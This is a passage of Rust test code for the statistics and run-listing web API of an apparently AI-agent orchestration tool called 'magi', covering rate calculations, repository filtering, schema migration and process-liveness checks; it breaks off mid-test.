18682        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18683        assert_eq!(keep_agent["solo_entered"], 0);
18684        assert_eq!(keep_agent["solo_adopted"], 0);
18685        assert!(keep_agent["solo_adoption_rate"].is_null());
18686    }
18687
18688    #[tokio::test]
18689    async fn stats_release_bumps_split_clean_from_attention() {
18690        use crate::run::ReleaseBump;
18691
18692        let f = Fixture::start().await;
18693
18694        let mut clean = RunState::new(
18695            PathBuf::from("/repo/magi"),
18696            "main".to_owned(),
18697            "0123456789abcdef".to_owned(),
18698            "task".to_owned(),
18699            Config::default(),
18700        );
18701        clean.id = "20260902-140501-a".to_owned();
18702        clean.status = RunStatus::Merged;
18703        clean.release_bump = Some(ReleaseBump {
18704            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18705            version: Some("1.0.0".to_owned()),
18706            automerge_enabled: true,
18707            merged_directly: false,
18708            local: false,
18709            release: None,
18710            problem: None,
18711            action_required: None,
18712            skipped: None,
18713        });
18714
18715        let mut blocked = RunState::new(
18716            PathBuf::from("/repo/magi"),
18717            "main".to_owned(),
18718            "0123456789abcdef".to_owned(),
18719            "task".to_owned(),
18720            Config::default(),
18721        );
18722        blocked.id = "20260902-140502-b".to_owned();
18723        blocked.status = RunStatus::Merged;
18724        blocked.release_bump = Some(ReleaseBump {
18725            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18726            version: Some("1.0.1".to_owned()),
18727            automerge_enabled: false,
18728            merged_directly: false,
18729            local: false,
18730            release: None,
18731            problem: Some("checks red".to_owned()),
18732            action_required: Some("look at the PR".to_owned()),
18733            skipped: None,
18734        });
18735
18736        for state in [&clean, &blocked] {
18737            let dir = f.runs().join(&state.id);
18738            std::fs::create_dir_all(&dir).expect("run dir");
18739            std::fs::write(
18740                dir.join("run.json"),
18741                serde_json::to_string_pretty(state).expect("serialize run"),
18742            )
18743            .expect("write run.json");
18744        }
18745
18746        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18747        assert_eq!(bumps["merged"], 2);
18748        assert_eq!(bumps["recorded"], 2);
18749        assert_eq!(bumps["pr_opened"], 2);
18750        assert_eq!(bumps["automerge_enabled"], 1);
18751        assert_eq!(bumps["needs_attention"], 1);
18752        assert_eq!(bumps["clean"], 1);
18753        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18754        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18755    }
18756
18757    #[tokio::test]
18758    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18759        let f = Fixture::start().await;
18760        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18761
18762        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18763        assert_eq!(bumps["merged"], 1);
18764        assert_eq!(bumps["recorded"], 0);
18765        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18766        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18767        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18768        // `pr_opened` and `recorded` are both zero here, so these rates have
18769        // no denominator to compute from and must be null.
18770        assert_eq!(bumps["automerge_rate"], Value::Null);
18771        assert_eq!(bumps["attention_rate"], Value::Null);
18772    }
18773
18774    #[tokio::test]
18775    async fn stats_queue_counts_come_from_the_live_queue() {
18776        let f = Fixture::start().await;
18777        let q = f.queue();
18778        let mut queued = Task::new(
18779            "queued task".to_owned(),
18780            "do it".to_owned(),
18781            PathBuf::from("/repo"),
18782            Source::Human,
18783        );
18784        q.put(&mut queued).expect("put queued");
18785        let mut held = Task::new(
18786            "held task".to_owned(),
18787            "do it later".to_owned(),
18788            PathBuf::from("/repo"),
18789            Source::Human,
18790        );
18791        held.hold_machine(Some("out of attempts".to_owned()));
18792        q.put(&mut held).expect("put held");
18793
18794        let queue = f.get("/api/stats").await.json()["queue"].clone();
18795        assert_eq!(queue["queued"], 1);
18796        assert_eq!(queue["held"], 1);
18797        assert_eq!(queue["running"], 0);
18798        assert_eq!(queue["done"], 0);
18799        assert_eq!(queue["failed"], 0);
18800        assert_eq!(queue["blocked"], 0);
18801    }
18802
18803    #[tokio::test]
18804    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18805        let f = Fixture::start().await;
18806        let stats = f.get("/api/stats").await;
18807        assert_eq!(stats.status, 200);
18808        assert_eq!(stats.json()["totals"]["runs"], 0);
18809        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18810        assert_eq!(stats.json()["runs_unreadable"], 0);
18811        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18812        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18813        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18814        assert_eq!(stats.json()["repo"], Value::Null);
18815    }
18816
18817    #[tokio::test]
18818    async fn stats_lists_every_repository_with_runs_recorded() {
18819        let f = Fixture::start().await;
18820        write_run_repo(
18821            &f.runs(),
18822            "20260902-140501-a",
18823            RunStatus::Merged,
18824            "/repos/a",
18825        );
18826        write_run_repo(
18827            &f.runs(),
18828            "20260902-140502-b",
18829            RunStatus::Merged,
18830            "/repos/a",
18831        );
18832        write_run_repo(
18833            &f.runs(),
18834            "20260902-140503-c",
18835            RunStatus::Blocked,
18836            "/repos/b",
18837        );
18838
18839        let stats = f.get("/api/stats").await;
18840        assert_eq!(stats.status, 200);
18841        // Unfiltered - the aggregate across both repositories.
18842        assert_eq!(stats.json()["totals"]["runs"], 3);
18843        assert_eq!(stats.json()["repo"], Value::Null);
18844
18845        let repos = stats.json()["repos"].clone();
18846        let repos = repos.as_array().unwrap();
18847        assert_eq!(repos.len(), 2);
18848        // Busiest (2 runs) first.
18849        assert_eq!(repos[0]["repo"], "/repos/a");
18850        assert_eq!(repos[0]["name"], "a");
18851        assert_eq!(repos[0]["runs"], 2);
18852        assert_eq!(repos[1]["repo"], "/repos/b");
18853        assert_eq!(repos[1]["runs"], 1);
18854    }
18855
18856    #[tokio::test]
18857    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18858        let f = Fixture::start().await;
18859        write_run_repo(
18860            &f.runs(),
18861            "20260902-140501-a",
18862            RunStatus::Merged,
18863            "/repos/a",
18864        );
18865        write_run_repo(
18866            &f.runs(),
18867            "20260902-140502-b",
18868            RunStatus::Blocked,
18869            "/repos/b",
18870        );
18871
18872        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18873        assert_eq!(stats.status, 200);
18874        assert_eq!(stats.json()["totals"]["runs"], 1);
18875        assert_eq!(stats.json()["totals"]["merged"], 1);
18876        assert_eq!(stats.json()["repo"], "/repos/a");
18877        // The repository list itself is unaffected by the filter - it is
18878        // what a client switches repositories from.
18879        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18880        // runs_unreadable is a whole-workload count, never scoped to the
18881        // selected repository - see StatsView::runs_unreadable's own doc.
18882        assert_eq!(stats.json()["runs_unreadable"], 0);
18883    }
18884
18885    #[tokio::test]
18886    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18887        let f = Fixture::start().await;
18888        write_run_repo(
18889            &f.runs(),
18890            "20260902-140501-a",
18891            RunStatus::Merged,
18892            "/repos/a",
18893        );
18894        write_run_repo(
18895            &f.runs(),
18896            "20260902-140502-b",
18897            RunStatus::Merged,
18898            "/repos/b",
18899        );
18900
18901        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18902            let json = f.get(uri).await.json();
18903            let daily = json["daily"].as_array().expect("daily is an array");
18904            assert_eq!(daily.len(), 30);
18905            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18906            let mut sorted = dates.clone();
18907            sorted.sort();
18908            assert_eq!(dates, sorted);
18909            for d in daily {
18910                assert_eq!(
18911                    d["merged"].as_u64().unwrap()
18912                        + d["ready"].as_u64().unwrap()
18913                        + d["other"].as_u64().unwrap(),
18914                    d["runs"].as_u64().unwrap()
18915                );
18916            }
18917            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18918        }
18919    }
18920
18921    #[tokio::test]
18922    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18923        let f = Fixture::start().await;
18924        write_run_repo(
18925            &f.runs(),
18926            "20260902-140501-a",
18927            RunStatus::Merged,
18928            "/repos/a",
18929        );
18930
18931        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18932        assert_eq!(stats.status, 404);
18933    }
18934
18935    #[tokio::test]
18936    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18937        let f = Fixture::start().await;
18938        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18939
18940        let summary = f.get("/api/runs").await.json();
18941        let row = &summary[0];
18942        assert_eq!(row["short"], "a1b2");
18943        assert_eq!(row["status"], "ready");
18944        assert_eq!(row["done"], true);
18945        assert_eq!(row["title"], "Add a web UI");
18946        assert_eq!(row["repo_name"], "magi");
18947        assert_eq!(row["judges"], 3);
18948        assert_eq!(row["winner"], Value::Null);
18949        assert_eq!(row["reviews"], 0);
18950
18951        // The short id resolves, and the detail route is the state itself, not
18952        // a projection of it: the UI reads fields the summary does not carry.
18953        let detail = f.get("/api/runs/a1b2").await;
18954        assert_eq!(detail.status, 200);
18955        assert_eq!(detail.json()["base_branch"], "main");
18956        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18957    }
18958
18959    /// `status: "ready"` alone cannot tell a run still headed for a landing
18960    /// (a PR closed without merging, say) apart from one `[merge] mode =
18961    /// "none"` left unmerged for good — the confusion the operator flagged
18962    /// after the CLI report already grew a `not landed — nothing to do by
18963    /// design` line for exactly this case (`report.rs`). Both the list route
18964    /// and the detail route must carry a flag the phone can key on instead of
18965    /// re-deriving it from `status` + `merge.mode` itself.
18966    #[tokio::test]
18967    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18968        let f = Fixture::start().await;
18969
18970        let mut none_run = RunState::new(
18971            PathBuf::from("/repo/magi"),
18972            "main".to_owned(),
18973            "0123456789abcdef".to_owned(),
18974            "Add a web UI".to_owned(),
18975            Config::default(),
18976        );
18977        none_run.id = "20260902-140503-none".to_owned();
18978        none_run.status = RunStatus::Ready;
18979        none_run.merge = Some(crate::run::MergeOutcome {
18980            mode: crate::config::MergeMode::None,
18981            ok: true,
18982            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18983            empty: false,
18984        });
18985        write_state(&f.runs(), &none_run);
18986
18987        let mut pr_run = RunState::new(
18988            PathBuf::from("/repo/magi"),
18989            "main".to_owned(),
18990            "0123456789abcdef".to_owned(),
18991            "Add a web UI".to_owned(),
18992            Config::default(),
18993        );
18994        pr_run.id = "20260902-140504-prcl".to_owned();
18995        pr_run.status = RunStatus::Ready;
18996        pr_run.merge = Some(crate::run::MergeOutcome {
18997            mode: crate::config::MergeMode::Pr,
18998            ok: false,
18999            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19000            empty: false,
19001        });
19002        write_state(&f.runs(), &pr_run);
19003
19004        let summary = f.get("/api/runs").await.json();
19005        let rows: std::collections::HashMap<&str, &Value> = summary
19006            .as_array()
19007            .expect("an array")
19008            .iter()
19009            .map(|r| (r["id"].as_str().expect("an id"), r))
19010            .collect();
19011        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19012        assert_eq!(
19013            rows[none_run.id.as_str()]["unmerged_by_design"],
19014            true,
19015            "a mode-none Ready must be flagged in the list"
19016        );
19017        assert_eq!(
19018            rows[pr_run.id.as_str()]["unmerged_by_design"],
19019            false,
19020            "a Ready reached by a closed pull request is a different case"
19021        );
19022
19023        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19024        assert_eq!(none_detail["status"], "ready");
19025        assert_eq!(none_detail["unmerged_by_design"], true);
19026
19027        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19028        assert_eq!(pr_detail["unmerged_by_design"], false);
19029    }
19030
19031    /// `RunState::active` is only ever cleared by whoever populated it, so the
19032    /// detail route also has to say whether a daemon is actually still
19033    /// driving this run right now — otherwise a seat from a killed process's
19034    /// last wave would read as live forever.
19035    #[tokio::test]
19036    async fn run_core_survives_unavailable_related_stores() {
19037        let home = TempDir::new().unwrap();
19038        let ui = delta_test_ui(home.path());
19039        let state = RunState::new(
19040            PathBuf::from("/repo/magi"),
19041            "main".into(),
19042            "0123456789abcdef".into(),
19043            "Useful core instructions".into(),
19044            Config::default(),
19045        );
19046        let dir = ui.runs.join(&state.id);
19047        std::fs::create_dir_all(&dir).unwrap();
19048        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19049        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19050        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19051        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19052            .await
19053            .unwrap()
19054            .0;
19055        assert_eq!(core.state.instruction, state.instruction);
19056        assert_eq!(core.state.updated_at, state.updated_at);
19057        assert!(core.task.is_none());
19058        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19059    }
19060
19061    #[tokio::test]
19062    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19063        let f = Fixture::start().await;
19064        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19065        // half of this test can claim the daemon is working on it without a
19066        // second helper.
19067        let id = "20260902-140502-bbbb";
19068        let mut state = RunState::new(
19069            PathBuf::from("/repo/magi"),
19070            "main".to_owned(),
19071            "0123456789abcdef".to_owned(),
19072            "Add a web UI".to_owned(),
19073            Config::default(),
19074        );
19075        state.id = id.to_owned();
19076        state.status = RunStatus::Judging;
19077        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19078        let dir = f.runs().join(id);
19079        std::fs::create_dir_all(&dir).expect("run dir");
19080        std::fs::write(
19081            dir.join("run.json"),
19082            serde_json::to_string_pretty(&state).expect("serialize run"),
19083        )
19084        .expect("write run.json");
19085
19086        // No daemon.json at all, and no `driver_pid` recorded either (this
19087        // state was written directly, never through `execute()`): there is
19088        // nothing to confirm either way, so the route must say `"unknown"` —
19089        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19090        // run` used to get from this route before `driver_pid` existed.
19091        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19092        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19093        assert_eq!(cold["live"], "unknown", "{cold}");
19094
19095        // A fresh heartbeat naming exactly this run: the same entry now reads
19096        // as confirmed, not merely recorded.
19097        write_daemon(f.home.path(), Timestamp::now());
19098        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19099        assert_eq!(warm["live"], "live", "{warm}");
19100    }
19101
19102    #[test]
19103    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19104        let home = tempfile::tempdir().expect("temp home");
19105        let runs = home.path().join("runs");
19106        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19107            let mut state = RunState::new(
19108                PathBuf::from("/repo/magi"),
19109                "main".to_owned(),
19110                "0123456789abcdef".to_owned(),
19111                "Generated review context, not authored task criteria".to_owned(),
19112                Config::default(),
19113            );
19114            state.origin = origin;
19115            state.status = RunStatus::Blocked;
19116            // Earlier migrations must not infer these facts again.
19117            state.driver_exited = false;
19118            state.gate_ran = true;
19119            let expected = serde_json::to_value(&state).expect("serialize current state");
19120            let mut legacy = expected.clone();
19121            legacy["schema"] = serde_json::json!(13);
19122            legacy.as_object_mut().unwrap().remove("task_instruction");
19123            let dir = runs.join(&state.id);
19124            std::fs::create_dir_all(&dir).expect("run dir");
19125            let path = dir.join("run.json");
19126            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19127            std::fs::write(&path, &body).expect("write legacy run");
19128
19129            for loaded in [
19130                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19131                read_run(&runs, &state.id).expect("web migration"),
19132            ] {
19133                assert_eq!(loaded.schema, crate::run::SCHEMA);
19134                assert!(loaded.task_instruction.is_none());
19135                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19136            }
19137            assert_eq!(runs_unreadable(&runs), 0);
19138            assert_eq!(std::fs::read(&path).unwrap(), body);
19139        }
19140    }
19141
19142    /// Where a run came from is shown, and a run written before origins were
19143    /// recorded (schema 12, no `origin` key) stays readable and says so.
19144    #[tokio::test]
19145    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19146        let f = Fixture::start().await;
19147        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19148            let mut state = RunState::new(
19149                PathBuf::from("/repo/magi"),
19150                "main".to_owned(),
19151                "0123456789abcdef".to_owned(),
19152                "Add a web UI".to_owned(),
19153                Config::default(),
19154            );
19155            state.id = id.to_owned();
19156            state.origin = origin;
19157            let mut value = serde_json::to_value(&state).expect("serialize run");
19158            if let Some(schema) = schema {
19159                value["schema"] = serde_json::json!(schema);
19160                value.as_object_mut().unwrap().remove("origin");
19161            }
19162            let dir = f.runs().join(id);
19163            std::fs::create_dir_all(&dir).expect("run dir");
19164            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19165        };
19166        write(
19167            "20260930-092817-ec34",
19168            Some(crate::run::Origin::from_agent_env(
19169                Some(("4a7b".to_owned(), "chat".to_owned())),
19170                None,
19171            )),
19172            None,
19173        );
19174        write("20260930-092817-0ld1", None, Some(12));
19175
19176        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19177        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19178        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19179
19180        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19181        assert_eq!(
19182            old["origin_label"], "origin unknown (started before origins were recorded)",
19183            "{old}"
19184        );
19185        assert!(old["origin"].is_null(), "{old}");
19186
19187        let list = f.get("/api/runs").await.json();
19188        let labels: Vec<_> = list
19189            .as_array()
19190            .unwrap()
19191            .iter()
19192            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19193            .collect();
19194        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19195    }
19196
19197    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19198    /// review` claims no daemon at all, so before this field existed the
19199    /// route above read it as `"dead"` — indistinguishable from a run a
19200    /// killed process abandoned — the whole time it was genuinely still
19201    /// answering. With a live pid recorded, it must read `"live"` even
19202    /// though no daemon claims it.
19203    #[tokio::test]
19204    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19205        let f = Fixture::start().await;
19206        let id = "20260922-090000-cccc";
19207        let mut state = RunState::new(
19208            PathBuf::from("/repo/magi"),
19209            "main".to_owned(),
19210            "0123456789abcdef".to_owned(),
19211            "Review only".to_owned(),
19212            Config::default(),
19213        );
19214        state.id = id.to_owned();
19215        state.status = RunStatus::Reviewing;
19216        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19217        // This test process's own pid: guaranteed alive, and never needs a
19218        // real daemon or a second process to prove it. The matching start-time
19219        // marker is what `liveness` now requires alongside a live pid — see
19220        // `RunState::driver_started_at`'s own doc for why the pid alone is
19221        // not enough.
19222        state.driver_pid = Some(std::process::id());
19223        state.driver_started_at = Some(
19224            crate::proc::process_started_at(std::process::id())
19225                .expect("this test process's own start time must be queryable"),
19226        );
19227        let dir = f.runs().join(id);
19228        std::fs::create_dir_all(&dir).expect("run dir");
19229        std::fs::write(
19230            dir.join("run.json"),
19231            serde_json::to_string_pretty(&state).expect("serialize run"),
19232        )
19233        .expect("write run.json");
19234
19235        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19236        assert_eq!(detail["live"], "live", "{detail}");
19237    }
19238
19239    /// A killed manual run's pid can be handed to a wholly unrelated later
19240    /// process — a live query on `driver_pid` alone would read this as
19241    /// `"live"`, exactly the false positive `driver_started_at` exists to
19242    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19243    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19244    #[tokio::test]
19245    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19246        let f = Fixture::start().await;
19247        let id = "20260922-090100-dddd";
19248        let mut state = RunState::new(
19249            PathBuf::from("/repo/magi"),
19250            "main".to_owned(),
19251            "0123456789abcdef".to_owned(),
19252            "Review only".to_owned(),
19253            Config::default(),
19254        );
19255        state.id = id.to_owned();
19256        state.status = RunStatus::Reviewing;
19257        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19258        // This test process's own pid really is alive, but the marker
19259        // recorded here does not match what it actually started at —
19260        // standing in for the pid having since been reused by a different
19261        // process than the one that wrote `run.json`.
19262        state.driver_pid = Some(std::process::id());
19263        state.driver_started_at = Some("1".to_owned());
19264        let dir = f.runs().join(id);
19265        std::fs::create_dir_all(&dir).expect("run dir");
19266        std::fs::write(
19267            dir.join("run.json"),
19268            serde_json::to_string_pretty(&state).expect("serialize run"),
19269        )
19270        .expect("write run.json");
19271
19272        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19273        assert_eq!(detail["live"], "dead", "{detail}");
19274    }
19275
19276    /// The deck's competition list is normally the first place an operator
19277    /// sees an old run. It must carry the same process verdict as detail, or
19278    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19279    #[test]
19280    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19281        let mk = |id: &str, pid: Option<u32>| {
19282            let mut s = RunState::new(
19283                PathBuf::from("/repo/magi"),
19284                "main".to_owned(),
19285                "0123456789abcdef".to_owned(),
19286                "Add a web UI".to_owned(),
19287                Config::default(),
19288            );
19289            s.id = id.to_owned();
19290            s.driver_pid = pid;
19291            s.driver_started_at = Some("1790000000".to_owned());
19292            s
19293        };
19294        let states = vec![
19295            mk("20260902-140502-aaaa", Some(77)),
19296            mk("20260902-140502-bbbb", Some(77)),
19297            mk("20260902-140502-cccc", Some(77)),
19298            mk("20260902-140502-dddd", None),
19299        ];
19300        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19301        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19302        let sup: HashMap<String, String> = [(
19303            "20260902-140502-aaaa".to_owned(),
19304            "20260902-140502-cccc".to_owned(),
19305        )]
19306        .into();
19307
19308        let status_calls = std::cell::Cell::new(0);
19309        let identity_calls = std::cell::Cell::new(0);
19310        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19311            |_| {
19312                status_calls.set(status_calls.get() + 1);
19313                Some(true)
19314            },
19315            |_| {
19316                identity_calls.set(identity_calls.get() + 1);
19317                Some("1790000000".to_owned())
19318            },
19319        ));
19320        let rows = summarize(
19321            states,
19322            &open,
19323            &claimed,
19324            &sup,
19325            |p| probe.borrow_mut().status(p),
19326            |p| probe.borrow_mut().started_at(p),
19327        );
19328
19329        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19330        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19331        assert_eq!(rows.len(), 4);
19332        assert!(!rows[0].waiting && rows[1].waiting);
19333        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19334        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19335        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19336        assert_eq!(rows[1].superseded_by, None);
19337    }
19338
19339    #[test]
19340    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19341        let mut state = RunState::new(
19342            PathBuf::from("/repo/magi"),
19343            "main".to_owned(),
19344            "0123456789abcdef".to_owned(),
19345            "Review only".to_owned(),
19346            Config::default(),
19347        );
19348        state.id = "20260922-090200-dead".to_owned();
19349        state.status = RunStatus::Reviewing;
19350        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19351            .expect("serialize list row");
19352        assert_eq!(row["status"], "reviewing");
19353        assert_eq!(row["display_status"], "stale");
19354        assert_eq!(row["live"], "dead", "{row}");
19355        assert!(!row["done"].as_bool().unwrap());
19356    }
19357
19358    #[test]
19359    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19360        use crate::run::Liveness::{Dead, Live, Unknown};
19361        let mut state = RunState::new(
19362            PathBuf::from("/repo/magi"),
19363            "main".to_owned(),
19364            "abc".to_owned(),
19365            "Review only".to_owned(),
19366            Config::default(),
19367        );
19368        for (status, parked, node, waiting, live, expected) in [
19369            (
19370                RunStatus::Judging,
19371                true,
19372                "github-text",
19373                false,
19374                Dead,
19375                "parked",
19376            ),
19377            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19378            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19379            (
19380                RunStatus::Judging,
19381                true,
19382                "github-text",
19383                true,
19384                Dead,
19385                "waiting",
19386            ),
19387            (
19388                RunStatus::Judging,
19389                false,
19390                "github-text",
19391                true,
19392                Dead,
19393                "waiting",
19394            ),
19395            (
19396                RunStatus::Judging,
19397                false,
19398                "github-text",
19399                false,
19400                Dead,
19401                "stale",
19402            ),
19403            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19404            (RunStatus::Judging, true, "park", false, Live, "judging"),
19405            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19406            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19407            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19408            (
19409                RunStatus::Blocked,
19410                true,
19411                "github-text",
19412                true,
19413                Dead,
19414                "waiting",
19415            ),
19416        ] {
19417            state.status = status;
19418            state.parked = parked;
19419            state.events.clear();
19420            state.event(
19421                "park",
19422                "an earlier park does not determine the latest state",
19423            );
19424            state.event(node, "message is not used for classification");
19425            let summary = RunSummary::of(&state, waiting, live);
19426            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19427            assert_eq!(
19428                summary.display_status, expected,
19429                "{status:?}/{node}/{live:?}"
19430            );
19431            assert_eq!(detail.display_status, summary.display_status);
19432            assert_eq!(detail.waiting, summary.waiting);
19433        }
19434        state.status = RunStatus::Judging;
19435        state.parked = false;
19436        state.events.clear();
19437        assert_eq!(run_display_status(&state, false, Dead), "stale");
19438    }
19439
19440    #[test]
19441    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19442        use crate::run::Liveness::{Dead, Live, Unknown};
19443        let mut state = RunState::new(
19444            PathBuf::from("/repo/magi"),
19445            "main".to_owned(),
19446            "abc".to_owned(),
19447            "Badge".to_owned(),
19448            Config::default(),
19449        );
19450        for (status, waiting, live, superseded, expected) in [
19451            (RunStatus::Gating, false, Dead, false, "stale"),
19452            (RunStatus::Gating, false, Dead, true, "superseded"),
19453            (RunStatus::Gating, false, Unknown, true, "superseded"),
19454            (RunStatus::Gating, true, Dead, true, "superseded"),
19455            (RunStatus::Gating, true, Dead, false, "waiting"),
19456            (RunStatus::Gating, false, Unknown, false, "gating"),
19457            (RunStatus::Gating, false, Live, true, "gating"),
19458            (RunStatus::Gating, true, Live, true, "waiting"),
19459            (RunStatus::Merged, false, Dead, true, "merged"),
19460            (RunStatus::Blocked, false, Dead, true, "blocked"),
19461        ] {
19462            state.status = status;
19463            let display = run_display_status(&state, waiting, live);
19464            assert_eq!(
19465                run_badge_status(&state, &display, live, superseded),
19466                expected,
19467                "{status:?}/{live:?}/superseded={superseded}"
19468            );
19469        }
19470    }
19471
19472    #[test]
19473    fn summarize_and_detail_expose_badge_status() {
19474        use crate::run::Liveness::Dead;
19475        let mut state = RunState::new(
19476            PathBuf::from("/repo/magi"),
19477            "main".to_owned(),
19478            "abc".to_owned(),
19479            "Badge".to_owned(),
19480            Config::default(),
19481        );
19482        state.status = RunStatus::Gating;
19483        let none = HashSet::new();
19484        let id = state.id.clone();
19485        let mut by = HashMap::new();
19486        let rows = summarize(
19487            [state.clone()],
19488            &none,
19489            &none,
19490            &by,
19491            |_| Some(false),
19492            |_| None,
19493        );
19494        // No driver recorded: liveness is not provably dead, so the node stays.
19495        assert_eq!(rows[0].badge_status, rows[0].display_status);
19496        by.insert(id, "20260901-000000-913b".to_owned());
19497        let detail = RunDetailView::of(
19498            state.clone(),
19499            false,
19500            Dead,
19501            Some("913b".to_owned()),
19502            None,
19503            None,
19504        );
19505        assert_eq!(detail.badge_status, "superseded");
19506        let json = serde_json::to_value(&detail).unwrap();
19507        assert_eq!(json["badge_status"], "superseded");
19508        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19509        assert_eq!(detail.badge_status, "stale");
19510    }
19511
19512    #[tokio::test]
19513    async fn run_display_status_routes_share_the_open_question_store() {
19514        let f = Fixture::start().await;
19515        let id = "20260922-090200-abcd";
19516        write_run(&f.runs(), id, RunStatus::Judging);
19517        let mut state = read_run(&f.runs(), id).unwrap();
19518        state.parked = true;
19519        state.driver_exited = true;
19520        state.event("github-text", "waiting for the owner");
19521        state.save_under(f.home.path()).unwrap();
19522        let mut task = Task::new(
19523            "resumed task".to_owned(),
19524            "do it".to_owned(),
19525            PathBuf::from("/repo"),
19526            Source::Human,
19527        );
19528        task.runs = vec![id.to_owned(), id.to_owned()];
19529        f.queue().put(&mut task).unwrap();
19530        let store = f.questions();
19531        let mut q = Question::new(
19532            id.to_owned(),
19533            "github-text".to_owned(),
19534            "owner".to_owned(),
19535            "Approve the text?".to_owned(),
19536            String::new(),
19537            Vec::new(),
19538        );
19539        store.put(&mut q).unwrap();
19540        for expected in ["waiting", "parked"] {
19541            let list = f.get("/api/runs").await.json();
19542            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19543            assert_eq!(list[0]["display_status"], expected);
19544            assert_eq!(detail["display_status"], expected);
19545            assert_eq!(detail["waiting"], list[0]["waiting"]);
19546            assert_eq!(list[0]["badge_status"], expected);
19547            assert_eq!(detail["badge_status"], expected);
19548            assert!(list[0]["superseded_by"].is_null());
